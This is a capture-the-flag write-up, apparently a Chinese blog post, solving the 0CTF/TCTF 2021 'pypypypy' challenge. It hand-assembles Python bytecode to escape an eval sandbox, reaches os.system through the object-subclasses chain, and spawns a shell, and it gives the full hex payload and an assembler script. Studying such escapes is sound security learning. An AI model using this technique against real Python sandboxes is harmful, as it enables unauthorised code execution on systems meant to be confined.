【0CTF/TCTF2021预选】[Misc] pypypypy Sloth writeup python字节码编程

题目

题目
nc 进去之后会返回python代码
题目环境
3.8.11 (default, Jun 29 2021, 19:54:56)
[GCC 8.3.0]

import sys
from pathlib import Path
from types import CodeType

src = Path(__file__).read_text()

print(globals())
print(sys.version)
print(src)

codestring = bytes.fromhex(input('Give me your bytecode in hex:'))
assert len(codestring) <= 2000, 'Too long!'

print('Thanks!')
print('I will give you two gifts in exhange, what do you want?')

gift1 = input('gift1: ')
gift2 = input('gift2: ')
assert len(gift1) <= 10, 'Too long!'
assert len(gift2) <= 10, 'Too long!'

code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')

result = eval(code, {'__builtins__': None}, {})
print('success, bye!')

审计代码

要求就是运用两个格式为(f’__{gift1}__’, f’__{gift2}__’)的全局名称,编写python字节码,getshell(就是自己写python的shellcode,有点pwn的内味)
没有局部变量,没有常量
Python 中的代码对象 code object 与 __code__ 属性
全局名称(co_names)就是指所有的名称
比如

def f():
	print('sssss')
	print([].__class__)

这个代码中

co_names=('f','print','__class__')
co_consts=('sssss')

题目把全局变量__builtins__设为了None,就是说不能用__builtins__.__dict__['open']直接访问文件

主要思路

获取属性

思路其实也很简单
没有常量,就只能找已经定义好的常量
globals()查看当前位置所有的全局变量
但这个需要耗费一个全局名称,没法构造,放弃
还有另一条路就是运用字节码中的

BUILD_LIST	创建列表
BUILD_TUPLE	创建元组
BUILD_SET	创建集合
BUILD_MAP	创建字典
BUILD_STRING	创建字符串,拼接字符串

详情见python 3.8.11 字节码
如果这个时候就很自然的想到python的模板注入

[].__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('bash')

但只有两个全局名称
上面代码用到了5个名称,3个常量,不可行
在找方法的过程中耗费了很多时间
第二天,我才注意到了这个字节码和__dict__属性

UNPACK_EX(counts)
实现使用带星号的目标进行赋值:将 TOS 中的可迭代对象解包为单独的值,其中值的总数可以小于可迭代对象中的项数:新值之一将是由所有剩余项构成的列表。
counts 的低字节是列表值之前的值的数量,counts 中的高字节则是之后的值的数量。 结果值会按从右至左的顺序入栈。

python中对一个变量取它的属性先当于调用__getattribute__方法

[].__class__  <=> getattr([], '__class__') <=> [].__getattribute__('__class__')

list
但是题目限制了__中间的长度不能超过10个字节,那就不能直接用__getattribute__
但可以间接用,__dict__属性中可以找到__getattribute__属性

[].__class__	<=> 	[].__class__.__dict__['__getattribute__']([], '__class__')

解决了各个属性的调用,接下来就是常量了
模板注入中用到的常量133bash,还有获取属性的那些常量

获取常量

首先是获取属性的那些常量(比如’__getattribute__’)
可以用一下字节码获取

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # 将[].__class__.__dict__前3个解包,存入栈中,'__getattribute__'在第三个位置
POP_TOP						# POP掉第一个
POP_TOP						# POP掉第而个
ROT_TWO						# 交换栈顶两个值
POP_TOP						# 解包会把[].__class__.__dict__.keys()先压入栈,最后两行字节码就是把[].__class__.__dict__.keys()给POP掉

这样就获取到了’__getattribute__'字符串

其次就是133常量
这个可以通过调用

[[]].__len__()
<=> [].__class__.__dict__['__getattribute__']([[]], '__len__')()
将栈顶的存入一个1
对应字节码:

BUILD_LIST               0  # []
BUILD_LIST               1  # [[]] arg1
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     # '__len__' arg2
CALL_METHOD              1  # [].__class__.__dict__['__getattribute__']([[]], '__len__')
CALL_FUNCTION            0  # [].__class__.__dict__['__getattribute__']([[]], '__len__')() -> TOS = 1

再通过一般指令(复制、交换等),二元操作(+ - * /等)
1变成133

最后就是'base'字符串
其实这个也简单
这个字节码可以拼接字符串
[].__class__.__dict__的解包结果是字符串,再用BINARY_SUBSCR就可以获取每个字符,最后拼接

BUILD_STRING(count)
拼接 count 个来自栈的字符串并将结果字符串推入栈顶。
BINARY_SUBSCR
实现 TOS = TOS1[TOS] 

其他特性

题目中没有给局部变量的存储空间
但是其实是可以有的

STORE_NAME(namei)
实现 name = TOS。 namei 是 name 在代码对象的 co_names 属性中的索引。
LOAD_NAME(namei)
将与 co_names[namei] 相关联的值推入栈顶。

在python代码对象中中,co_names是字符串元组,也就是说,这个既可以做变量名,又可以做属性名

__class__ = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')

这样就有了两个全局变量,可以暂时存放中间变量,减少字节码长度(题目中限制bytecode的2000个字符长度)

解题阻碍

  1. 类型匹配
.__dict__['__getattribute__'](arg1,arg2) 需要注意这个函数的类型和参数的匹配

[].__class__是type类型
[].__class__.__class__.__dict__['__getattribute__']  =>  <slot wrapper '__getattribute__' of 'type' objects>
  1. 属性无法获取

当我已经构建好

tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')

tmp => <function _wrap_close.__init__ at 0x0000013FA9FC54C0>

在最后的获取__globals__属性时,发现function类型没有__getattribute__属性,这个又卡了好久
最后找到了方法

tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)

获取到了全局变量的字典
这个时候tmp['system']就是 <built-in function system>

get_flag

最终的字节码全貌

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)

BUILD_LIST               0
LOAD_ATTR                0 # arg1


BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     #  '__base__' arg2

CALL_METHOD              2  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')

LOAD_ATTR                0  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__
LOAD_ATTR                1  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__.__dict__

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                9  # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     #  '__subclasses__'

BINARY_SUBSCR               #   [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__.__dict__['__subclasses__']

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)

BUILD_LIST               0
LOAD_ATTR                0 # arg1

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     #  '__base__' arg2

CALL_METHOD              1  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
CALL_METHOD              1  #   [<class 'type'>...

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__dict__['__getattribute__'](arg1, arg2)

BUILD_LIST               0  # []
BUILD_LIST               1  # [[]] arg1
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     # '__len__' arg2
CALL_METHOD              1  # [].__class__.__dict__['__getattribute__']([[]], '__len__')
CALL_FUNCTION              0  # [].__class__.__dict__['__getattribute__']([[]], '__len__')() -> TOS = 1



DUP_TOP             # 1 1
DUP_TOP             # 1 1 1
BINARY_ADD          # 2 1
STORE_NAME      0   # a=2

LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=4

LOAD_NAME       0   # 4 1

LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=8
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=16
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=32
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=64
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=128
LOAD_NAME       0   # 128 4 1

BINARY_ADD
BINARY_ADD

BINARY_SUBSCR
STORE_NAME      1   # b=<class 'warnings.catch_warnings'>
LOAD_NAME       1
LOAD_ATTR       0   # b.__class__
LOAD_ATTR       1   # b.__class__.__dict__
LOAD_NAME       1
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)

LOAD_NAME       1   # arg1

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                6  # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     # '__init__'

CALL_FUNCTION           2
DUP_TOP
LOAD_ATTR       0
LOAD_ATTR       1

DUP_TOP

UNPACK_EX                7  # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP

BINARY_SUBSCR

DUP_TOP
DUP_TOP
DUP_TOP

LOAD_ATTR       0
LOAD_ATTR       1

UNPACK_EX                2
POP_TOP
ROT_TWO
POP_TOP

ROT_TWO
LOAD_ATTR       0
LOAD_ATTR       1
ROT_TWO

BINARY_SUBSCR

ROT_THREE

LOAD_ATTR       0
LOAD_ATTR       1

UNPACK_EX                3
POP_TOP
POP_TOP
ROT_TWO
POP_TOP

CALL_FUNCTION 2
ROT_TWO
CALL_FUNCTION 1

STORE_NAME 1
LOAD_NAME 1

UNPACK_EX           46
POP_TOP         x45
ROT_TWO
POP_TOP

LOAD_NAME   1
ROT_TWO
BINARY_SUBSCR

LOAD_NAME 0
LOAD_NAME 0
BINARY_FLOOR_DIVIDE
LOAD_NAME 0
LOAD_NAME 0
BINARY_FLOOR_DIVIDE
BINARY_ADD
STORE_NAME  0

LOAD_NAME  1
UNPACK_EX           8
POP_TOP         x7
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCR

LOAD_NAME  1
UNPACK_EX           13
POP_TOP         x12
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCR

LOAD_NAME  1
UNPACK_EX           10
POP_TOP         x9
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCR

LOAD_NAME  1
UNPACK_EX           12
POP_TOP         x11
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCR

BUILD_STRING    4
CALL_FUNCTION   1

PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPR

BUILD_LIST               0
RETURN_VALUE

上面的字节码相当于下面的代码

tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')
tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)
tmp['system']('bash')

再写一个转16进制字节码的脚本

import dis
import re

with open('test.txt', 'r') as f:
    data = f.read().splitlines()


def com_py(s: str):
    sarr = re.split('[ ]+', s)
    sarr = [_ if _ != '' else '#' for _ in sarr]
    print(sarr)
    if '#' in sarr:
        sarr = sarr[:sarr.index('#')]

    if len(sarr) > 1:
        code, num = sarr
        num = int(num)
        return hex(dis.opmap[code])[2:].rjust(2, '0') + hex(num)[2:].rjust(2, '0')
    else:
        code = sarr[0]
        return hex(dis.opmap[code])[2:].rjust(2, '0') + '00'


dis_code = ''
for da in data:
    n = 1
    if "##" in da:
        continue
    if '###' in da:
        break
    if 'x' in da:
        print(da)
        s = re.search('x[0-9]+', da).group(0)
        n = int(s[1:])
        print(n, s)
        da = da.replace(s, '')
        print(da)
    if da != '':
        dis_code += com_py(da) * n
dis.dis(bytes.fromhex(dis_code))
print('code> ', dis_code, end='\n\n')
print('code_len> ', len(dis_code)//2, end='\n\n')

得到16进制表示的字节码

67006a006a006a0167006a006a015e030100010002000100190067006a0067006a006a006a015e1301000100010001000100010001000100010001000100010001000100010001000100010002000100a1026a006a0167006a006a006a015e090100010001000100010001000100010002000100190067006a006a006a0167006a006a015e030100010002000100190067006a0067006a006a006a015e1301000100010001000100010001000100010001000100010001000100010001000100010002000100a101a10167006a006a0167006a006a015e03010001000200010019006700670167006a006a015e0c0100010001000100010001000100010001000100010002000100a10183000400040017005a006500650017005a0065006500650017005a006500650017005a006500650017005a006500650017005a006500650017005a0065001700170019005a0165016a006a0165016a006a015e0301000100020001001900650167006a006a006a015e060100010001000100010002000100830204006a006a0104005e070100010001000100010001000200010019000400040004006a006a015e0201000200010002006a006a010200190003006a006a015e0301000100020001008302020083015a0165015e2e01000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010002000100650102001900650065001a00650065001a0017005a0065015e080100010001000100010001000100020001006500190065015e0d010001000100010001000100010001000100010001000100020001006500190065015e0a010001000100010001000100010001000100020001006500190065015e0c0100010001000100010001000100010001000100010002000100650019009d0483014600460046004600460067005300

字节码转换后长度为732个字符
最后的最后,getshell
getshell
flag{hope_you_enjoy_the_gifts_as_well_as_the_chall}

小结

  1. TCTF两天的比赛时间,整出了两题Misc,要学的东西还是好多
  2. 新的技能——用python字节码编程,学到了不少东西
  3. 另外我还做出了另一题比较有意思的misc singer,直通车【2021TCTF】[Misc] singer writeup 音乐人狂喜

参考文章

Python 中的代码对象 code object 与 code 属性
dis — Python 字节码反汇编器
python 模板注入

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值